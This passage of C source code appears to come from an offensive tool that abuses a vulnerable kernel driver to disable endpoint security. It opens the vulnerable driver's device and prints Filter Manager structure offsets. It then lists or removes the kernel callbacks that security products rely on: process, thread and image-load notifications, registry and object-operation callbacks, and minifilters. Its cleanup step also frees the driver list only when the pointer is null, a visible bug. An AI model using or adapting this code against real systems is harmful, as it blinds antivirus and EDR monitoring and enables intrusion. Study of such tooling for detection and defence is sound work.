info_t("_FLT_RESOURCE_LIST_HEAD.rList offset: 0x%llx", g_fltMgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList);
info_t("_DRIVER_OBJECT.DriverInit offset: 0x%llx", g_fltMgrOffsets.st._DRIVER_OBJECT_DriverInit);
info_t("_FLTP_FRAME.Links offset: 0x%llx", g_fltMgrOffsets.st._FLTP_FRAME_Links);
info_t("_FLTP_FRAME.RegisteredFilters offset: 0x%llx", g_fltMgrOffsets.st._FLTP_FRAME_RegisteredFilters);
info_t("_FLT_FILTER.DriverObject offset: 0x%llx", g_fltMgrOffsets.st._FLT_FILTER_DriverObject);
info_t("_FLT_FILTER.InstanceList offset: 0x%llx", g_fltMgrOffsets.st._FLT_FILTER_InstanceList);
info_t("_FLT_INSTANCE.CallbackNodes offset: 0x%llx", g_fltMgrOffsets.st._FLT_INSTANCE_CallbackNodes);
info_t("_FLT_INSTANCE.FilterLink offset: 0x%llx", g_fltMgrOffsets.st._FLT_INSTANCE_FilterLink);
info_t("_FLT_OBJECT.PrimaryLink offset: 0x%llx", g_fltMgrOffsets.st._FLT_OBJECT_PrimaryLink);
printf("\n");
// Open a handle to the vulnerable driver using symbolik link
hDevice = GetDeviceHandle(g_VULNDRIVERSYMLINK);
if (hDevice == NULL) {
error("GetDeviceHandle - Failed");
bSTATE = FALSE;
goto _cleanUp;
}
info_t("GetDeviceHandle - Handle to vulnerable driver 0x%p", hDevice);
// Enumerate loaded kernel drivers
if (!ListAndSortKernelDrivers(&pDrivers, &dwDriverCount)) {
error("ListAndSortKernelDrivers - Failed to enumerate kernel drivers");
bSTATE = FALSE;
goto _cleanUp;
}
info_t("ListAndSortKernelDrivers - Enumerated %d kernel drivers at 0x%p", dwDriverCount, pDrivers);
// List and or remove Process Creation kernel callbacks
printf("\n");
ListOrRemoveKCArray(hDevice, "Process Creation", dwPspCreateProcessNotifyRoutineArray, pDrivers, dwDriverCount, bRemove);
// List and or remove Thread Creation kernel callbacks
printf("\n");
ListOrRemoveKCArray(hDevice, "Thread Creation", dwPspCreateThreadNotifyRoutineArray, pDrivers, dwDriverCount, bRemove);
// List and or remove Image Loading kernel callbacks
printf("\n");
ListOrRemoveKCArray(hDevice, "Image Loading", dwPspLoadImageNotifyRoutineArray, pDrivers, dwDriverCount, bRemove);
// List and or remove Registry kernel callbacks
printf("\n");
ListOrRemoveKCRegistryOperations(hDevice, "Registry Operations", dwCallbackListHead, pDrivers, dwDriverCount, bRemove);
// List and or remove Object Operations kernel callbacks for process
printf("\n");
ListOrRemoveKCObjectOperations(hDevice, "Process Object Operations", dwPsProcessType, pDrivers, dwDriverCount, bRemove);
// List and or remove Object Operations kernel callbacks for threads
printf("\n");
ListOrRemoveKCObjectOperations(hDevice, "Thread Object Operations", dwPsThreadType, pDrivers, dwDriverCount, bRemove);
// List and remove Mini Filter kernel callbacks
printf("\n");
ListOrRemoveMiniFiltersCallbacks(hDevice, "Minifilters", dwFltGlobals, pDrivers, dwDriverCount, bRemove);
printf("\n");
_cleanUp:
// Close handle to device
if (hDevice) {
CloseHandle(hDevice);
}
// Cleanup driver list
if (!pDrivers) {
HeapFree(GetProcessHeap(), 0, pDrivers);
}
return bSTATE;
}